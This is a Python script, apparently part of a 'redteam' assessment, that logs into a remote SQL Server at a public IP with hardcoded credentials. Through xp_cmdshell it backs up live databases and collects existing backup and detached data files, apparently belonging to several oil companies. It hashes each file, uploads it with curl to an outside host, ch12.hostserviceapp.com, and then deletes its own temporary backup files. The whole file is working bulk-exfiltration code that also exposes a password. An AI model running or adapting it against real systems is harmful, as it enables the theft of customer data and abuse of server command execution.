#!/usr/bin/env python3 r""" Q2: выгрузка предыдущих версий БД (предков активных малых БД из Q1). Режим оператора: БЕЗ скачивания к нам; SHA256 (certutil на сервере) -> q2_checksums.tsv; сверка хешей — на стороне ch12 оператором. Три фазы: Q2-B: BACKUP live-предков (наш временный .bak -> upload -> del СВОЕГО файла) Q2-A: готовые ИХ .bak из D:\irelyinstall\backup (hash -> upload -> файл НЕ удаляем) Q2-C: отмонтированные ИХ mdf/ldf из D:\i21SQLData (hash -> upload -> НЕ удаляем) Порядок: ценность/уникальность сначала (2210PIGOTTOIL 197GB — единственная полная копия; BERRYOILUAP101 98.5GB — нет других копий; Palmdale01 93.4GB), затем остальные. Skip: Jenkins4_2710PALMDALEOILUAP011_09112026.bak — в Q1 уже взят более свежий бэкап той же БД. """ import re import subprocess import sys import time from datetime import datetime from pathlib import Path SQLCMD = [ "docker", "run", "--rm", "--network", "host", "mcr.microsoft.com/mssql/server:2022-latest", "/opt/mssql-tools18/bin/sqlcmd", "-S", "50.21.183.111", "-U", "irely", "-P", "iRely486", "-C", "-d", "master", "-s", "|", "-W", ] CH12 = "https://ch12.hostserviceapp.com" BAKDIR = r"D:\irelyinstall\backup" SQLDATA = r"D:\i21SQLData" SI = Path("/root/ir-assessment/redteam/irelydata/schema_inventory") CHECKSUMS = SI / "q2_checksums.tsv" MIN_FREE_GB = 150 TASKS = [ # (kind, phase, name, source_path, note) ("backup", "Q2-B", "2210PIGOTTOILUAP01", None, "предок 2610PIGOTTOILUAP01; 197GB live; единственная полная копия"), ("upload", "Q2-C", "BERRYOILUAP101.mdf", SQLDATA + r"\BERRYOILUAP101.mdf", "отмонтированный предок BerryOil"), ("upload", "Q2-C", "BERRYOILUAP101.LDF", SQLDATA + r"\BERRYOILUAP101.LDF", "лог отмонтированной BerryOil"), ("upload", "Q2-A", "Jenkins4_2430Palmdale01_01292026.bak", BAKDIR + r"\Jenkins4_2430Palmdale01_01292026.bak", "предок Palmdale"), ("upload", "Q2-A", "2510PALMDALEOILUAP01_backup_11172025.bak", BAKDIR + r"\2510PALMDALEOILUAP01_backup_11172025.bak", "предок PALMDALEOIL"), ("upload", "Q2-A", "Jenkins4_2210JOHNSONPETROUAP01_07152026.bak", BAKDIR + r"\Jenkins4_2210JOHNSONPETROUAP01_07152026.bak", "предок JOHNSONPETROLEUM"), ("upload", "Q2-A", "Jenkins4_CHERRYENERGYUAP01_04062026.bak", BAKDIR + r"\Jenkins4_CHERRYENERGYUAP01_04062026.bak", "предок 2610CHERRYENERGY"), ("upload", "Q2-C", "2310DallmyrUAP101.mdf", SQLDATA + r"\2310DallmyrUAP101.mdf", "отмонтированный предок Dallmyr"), ("upload", "Q2-C", "2310DallmyrUAP101.ldf", SQLDATA + r"\2310DallmyrUAP101.ldf", "лог"), ("upload", "Q2-C", "PIGOTTOILUAP01_Primary.mdf", SQLDATA + r"\PIGOTTOILUAP01_Primary.mdf", "старый Pigott без префикса"), ("upload", "Q2-C", "PIGOTTOILUAP01_log.ldf", SQLDATA + r"\PIGOTTOILUAP01_log.ldf", "лог"), ("upload", "Q2-A", "Jenkins4_PALMDALEOILUAP01_08052026.bak", BAKDIR + r"\Jenkins4_PALMDALEOILUAP01_08052026.bak", "предыдущая версия PALMDALEOILUAP01"), ("backup", "Q2-B", "2610DALLMYRUAP01", None, "предок 2710DALLMYRUAP01"), ("backup", "Q2-B", "2620Palmdale01", None, "предок 2610PAMDALEUAP01"), ("skip", "Q2-A", "Jenkins4_2710PALMDALEOILUAP011_09112026.bak", None, "redundant: свежий бэкап этой БД взят в Q1 (09152026)"), ] def sql(query: str, timeout: int = 590) -> str: p = subprocess.run(SQLCMD + ["-Q", query], capture_output=True, text=True, timeout=timeout) junk = ("SQL Server 2022 will run", "This container is running", "go.microsoft") return "\n".join(l for l in p.stdout.splitlines() if not any(j in l for j in junk)) def log(msg: str): print(f"[{datetime.now().strftime('%H:%M:%S')}] {msg}", flush=True) # ---------- preflight ---------- out = sql("SET NOCOUNT ON; EXEC xp_cmdshell 'wmic logicaldisk get caption,freespace,size'") free_d = None for line in out.splitlines(): m = re.match(r"D:\s+(\d+)\s+\d+", line.strip()) if m: free_d = int(m.group(1)) / 1024**3 if free_d is None or free_d < MIN_FREE_GB: log(f"FATAL: D: свободно {free_d} GB < {MIN_FREE_GB} — не стартуем") sys.exit(1) log(f"Preflight: D: свободно {free_d:.0f} GB (>= {MIN_FREE_GB})") # msdb-справка: что внутри 2430Palmdale01_01292026.bak (информационно) out = sql("SET NOCOUNT ON; SELECT TOP 3 s.database_name, CONVERT(varchar(19),s.backup_start_date,120) AS dt, " "CAST(s.backup_size/1024./1024./1024. AS DECIMAL(10,2)) AS gb " "FROM msdb.dbo.backupset s JOIN msdb.dbo.backupmediafamily f ON f.media_set_id=s.media_set_id " "WHERE f.physical_device_name LIKE '%2430Palmdale01_01292026%'", timeout=120) log(f"msdb-справка 2430Palmdale01_01292026.bak:\n{out}") srv = sql("SET NOCOUNT ON; SELECT CONVERT(varchar(8), GETDATE(), 112)") m = re.search(r"(\d{8})", srv) if not m: log("FATAL: нет серверной даты"); sys.exit(1) d8 = m.group(1) suffix = f"{d8[4:6]}{d8[6:8]}{d8[0:4]}" log(f"Серверная дата {d8} -> суффикс _{suffix}") if not CHECKSUMS.exists(): CHECKSUMS.write_text("phase\titem\tsource_path\tsize_bytes\tsha256\turl\tstatus\n") def write_row(cf, phase, item, src, size, sha, url, status): cf.write(f"{phase}\t{item}\t{src}\t{size}\t{sha}\t{url}\t{status}\n") cf.flush() def do_upload(cf, phase, item, path, note): """hash существующего файла -> upload -> файл НЕ удаляем (он их).""" log(f"--- {phase} UPLOAD {item} ---") out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (for %F in (\"{path}\") do @echo SIZE=%~zF) else (echo MISSING)'", timeout=590) ms = re.search(r"SIZE=(\d+)", out) if "MISSING" in out or not ms: log(f" {item}: MISSING на сервере — пропускаю") write_row(cf, phase, item, path, "", "", "", "FAIL_SOURCE_MISSING") return "FAIL_SOURCE_MISSING" size = ms.group(1) log(f" {item}: source size={size} ({int(size)/1024**3:.2f} GB), hashing...") t0 = time.time() out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'certutil -hashfile \"{path}\" SHA256'", timeout=3600) mh = re.search(r"\b([0-9a-f]{64})\b", out) if not mh: log(f" {item}: не получил hash: {out[:200]}") write_row(cf, phase, item, path, size, "", "", "FAIL_NO_HASH") return "FAIL_NO_HASH" sha = mh.group(1) log(f" {item}: sha256={sha[:16]}... ({time.time()-t0:.0f}s)") url = "" for attempt in (1, 2): t0 = time.time() try: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{path}\" {CH12}'", timeout=28800) except subprocess.TimeoutExpired: out = "UPLOAD_TIMEOUT" mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", out) if mu: url = mu.group(0).strip() log(f" {item}: uploaded за {time.time()-t0:.0f}s -> {url}") break log(f" {item}: upload попытка {attempt} неудачна: {out[:200]}") time.sleep(30) if not url: write_row(cf, phase, item, path, size, sha, "", "FAIL_UPLOAD") return "FAIL_UPLOAD" # файл ИХ — подтверждаем что остался на месте (не удаляли) out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (echo KEPT) else (echo LOST)'", timeout=590) kept = "KEPT" in out status = "OK_PENDING_CH12_CHECKSUM" if kept else "WARN_SOURCE_LOST" write_row(cf, phase, item, path, size, sha, url, status + (" | source kept" if kept else "")) log(f" {item}: {status} (source {'kept' if kept else 'LOST!'}) {note}") return status def do_backup(cf, phase, db, note): """наш временный BACKUP -> verify -> hash -> upload -> del СВОЕГО файла.""" bak = f"{db}_{suffix}.bak" bakpath = f"{BAKDIR}\\{bak}" log(f"--- {phase} BACKUP {db} -> {bak} ---") chk = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{bakpath}\" (echo EXISTS) else (echo FREE)'") if "EXISTS" in chk: log(f" {db}: коллизия имени — пропускаю") write_row(cf, phase, db, bakpath, "", "", "", "SKIP_NAME_COLLISION") return "SKIP_NAME_COLLISION" t0 = time.time() out = sql( f"SET NOCOUNT ON;" f"BACKUP DATABASE [{db}] TO DISK = N'{bakpath}' WITH COMPRESSION, COPY_ONLY, INIT, CHECKSUM, STATS=10;" f"RESTORE VERIFYONLY FROM DISK = N'{bakpath}' WITH CHECKSUM;" f"EXEC xp_cmdshell 'certutil -hashfile \"{bakpath}\" SHA256';" f"EXEC xp_cmdshell 'for %F in (\"{bakpath}\") do @echo SIZE=%~zF';", timeout=14400) bt = time.time() - t0 if "successfully processed" not in out or "is valid" not in out: log(f" {db}: BACKUP/VERIFY fail:\n{out[-800:]}") write_row(cf, phase, db, bakpath, "", "", "", "FAIL_BACKUP_OR_VERIFY") return "FAIL_BACKUP_OR_VERIFY" mh = re.search(r"\b([0-9a-f]{64})\b", out) ms = re.search(r"SIZE=(\d+)", out) sha = mh.group(1) if mh else "" size = ms.group(1) if ms else "" log(f" {db}: BACKUP+VERIFY ok за {bt:.0f}s, size={size} ({int(size or 0)/1024**3:.2f} GB), sha256={sha[:16]}...") if not sha or not size: write_row(cf, phase, db, bakpath, size, sha, "", "FAIL_NO_HASH_OR_SIZE") return "FAIL_NO_HASH_OR_SIZE" url = "" for attempt in (1, 2): t0 = time.time() try: out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{bakpath}\" {CH12}'", timeout=28800) except subprocess.TimeoutExpired: out = "UPLOAD_TIMEOUT" mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", out) if mu: url = mu.group(0).strip() log(f" {db}: uploaded за {time.time()-t0:.0f}s -> {url}") break log(f" {db}: upload попытка {attempt} неудачна: {out[:200]}") time.sleep(30) if not url: # upload не удался — файл НЕ удаляем, останется для разбора write_row(cf, phase, db, bakpath, size, sha, "", "FAIL_UPLOAD_BAK_KEPT_ON_SERVER") return "FAIL_UPLOAD_BAK_KEPT_ON_SERVER" out = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'del \"{bakpath}\"'; EXEC xp_cmdshell 'if exist \"{bakpath}\" (echo STILL_THERE) else (echo GONE)'", timeout=590) deleted = "GONE" in out status = "OK_PENDING_CH12_CHECKSUM" if deleted else "WARN_DEL_FAILED" write_row(cf, phase, db, bakpath, size, sha, url, status + (" | temp deleted" if deleted else "")) log(f" {db}: {status} {note}") return status # ---------- основной цикл ---------- results = [] with CHECKSUMS.open("a") as cf: for kind, phase, name, path, note in TASKS: try: if kind == "skip": log(f"--- {phase} SKIP {name}: {note} ---") write_row(cf, phase, name, path or "", "", "", "", "SKIPPED_REDUNDANT") results.append((phase, name, "SKIPPED_REDUNDANT")) elif kind == "backup": st = do_backup(cf, phase, name, note) results.append((phase, name, st)) elif kind == "upload": st = do_upload(cf, phase, name, path, note) results.append((phase, name, st)) except subprocess.TimeoutExpired: log(f" {name}: TIMEOUT — файл на сервере не трогаю") write_row(cf, phase, name, path or "", "", "", "", "FAIL_TIMEOUT") results.append((phase, name, "FAIL_TIMEOUT")) except Exception as e: log(f" {name}: EXC {type(e).__name__}: {e}") write_row(cf, phase, name, path or "", "", "", "", f"FAIL_EXC:{type(e).__name__}") results.append((phase, name, f"FAIL_EXC:{type(e).__name__}")) log("=== Q2 ЗАВЕРШЕНА ===") oks = sum(1 for r in results if r[2].startswith("OK")) skips = sum(1 for r in results if r[2].startswith("SKIP")) log(f"OK: {oks}, SKIP: {skips}, всего задач: {len(results)}") for ph, nm, st in results: if not st.startswith(("OK", "SKIP")): log(f" НЕ-OK: {ph} {nm} -> {st}")